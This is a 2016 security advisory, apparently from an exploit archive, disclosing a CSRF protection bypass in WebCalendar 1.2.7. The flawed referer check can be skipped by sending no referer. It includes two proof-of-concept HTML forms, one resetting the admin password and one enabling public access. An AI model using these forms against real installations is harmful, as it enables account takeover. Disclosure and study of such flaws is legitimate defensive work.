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WebCalendar 1.2.7 CSRF Bypass

WebCalendar 1.2.7 CSRF Bypass
Posted Jul 4, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

WebCalendar version 1.2.7 attempts to uses the HTTP Referer to check that requests are originating from same server. However, this can be easily defeated by just not sending a referer.

tags | exploit, web
SHA-256 | b21b04f0900a0f57b17194ed5f9dc60a1ad09467022464b6d1d905884edfc003

WebCalendar 1.2.7 CSRF Bypass

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[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:

[+] ISR: ApparitionSec


WebCalendar v1.2.7

WebCalendar is a PHP-based calendar application that can be configured as a
single-user calendar, a multi-user calendar for groups of users, or as an
event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2,
Interbase, MS SQL Server, or ODBC is required.

WebCalendar can be setup in a variety of ways, such as...

A schedule management system for a single person
A schedule management system for a group of people, allowing one or more
assistants to manage the calendar of another user
An events schedule that anyone can view, allowing visitors to submit new
A calendar server that can be viewed with iCalendar-compliant calendar
applications like Mozilla Sunbird, Apple iCal or GNOME Evolution or
applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress.

Vulnerability Type:

CVE Reference:

Vulnerability Details:

WebCalendar attempts to uses the HTTP Referer to check that requests are
originating from same server as we see below.

>From WebCalendar "include/functions.php" file on line 6117:


function require_valide_referring_url ()

global $SERVER_URL;

if ( empty( $_SERVER['HTTP_REFERER'] ) ) {

// Missing the REFERER value

//die_miserable_death ( translate ( 'Invalid referring URL' ) );

// Unfortunately, some version of MSIE do not send this info.

return true;

if ( ! preg_match ( "@$SERVER_URL@i", $_SERVER['HTTP_REFERER'] ) ) {

// Gotcha. URL of referring page is not the same as our server.

// This can be an instance of XSRF.

// (This may also happen when more than address is used for your server.

// However, you're not supposed to do that with this version of

// WebCalendar anyhow...)
die_miserable_death ( translate ( 'Invalid referring URL' ) );




However, this can be easily defeated by just not sending a referer. HTML 5
includes a handy tag <meta name="referrer" content="none"> to omit the
when making an HTTP request, currently supported in Chrome, Safari,
MobileSafari and other WebKit-based browsers. Using this meta tag we send
no referrer
and the vulnerable application will then happily process our CSRF requests.

Exploit code(s):

1) CSRF Protection Bypass to change Admin password POC. Note: Name of the
victim user is required for success.

<meta name="referrer" content="none">

<form id="CSRF" action="
http://localhost/WebCalendar-1.2.7/edit_user_handler.php" method="post">
<input type="hidden" name="formtype" value="setpassword" />
<input type="hidden" name="user" value="admin" />
<input name="upassword1" id="newpass1" type="password" value="1234567" />
<input name="upassword2" id="newpass2" type="password" value="1234567" />

2) CSRF Protection Bypass modify access controls under "System Settings" /
"Allow public access"

<meta name="referrer" content="none">

<form id="CSRF_ACCESS_CTRL" action="
http://localhost/WebCalendar-1.2.7/admin.php" method="post"
name="prefform"><br />
<input type="hidden" name="currenttab" id="currenttab" value="settings" />
<input type="submit" value="Save" name="" />
<input type="hidden" name="admin_PUBLIC_ACCESS" value="Y" />

Disclosure Timeline:
Vendor Notification: No replies
July 4, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:
6.8 (Medium)

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